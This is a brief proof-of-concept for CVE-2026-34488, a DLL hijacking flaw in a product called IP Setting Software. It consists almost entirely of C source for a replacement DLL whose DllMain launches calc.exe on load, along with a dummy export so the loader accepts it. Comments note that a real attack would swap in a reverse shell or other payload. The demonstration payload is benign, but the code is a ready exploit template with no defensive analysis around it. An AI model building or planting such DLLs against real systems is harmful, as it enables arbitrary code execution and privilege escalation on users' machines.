CVE-2026-34488 IP Setting Software DLL劫持漏洞

#include <windows.h> #include <stdlib.h> // Dummy DLL for CVE-2026-34488 PoC // Purpose: Demonstrate arbitrary code execution via DLL Hijacking // Compile as a shared library (DLL) and place in the target directory BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code execution starts here when the DLL is loaded // Example: Execute calc.exe to demonstrate privilege escalation system("calc.exe"); // In a real attack scenario, this would be a reverse shell or payload break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Export functions that the target application might try to call // This ensures the loader accepts this DLL as a replacement for the legitimate one extern "C" __declspec(dllexport) void DummyExport() {}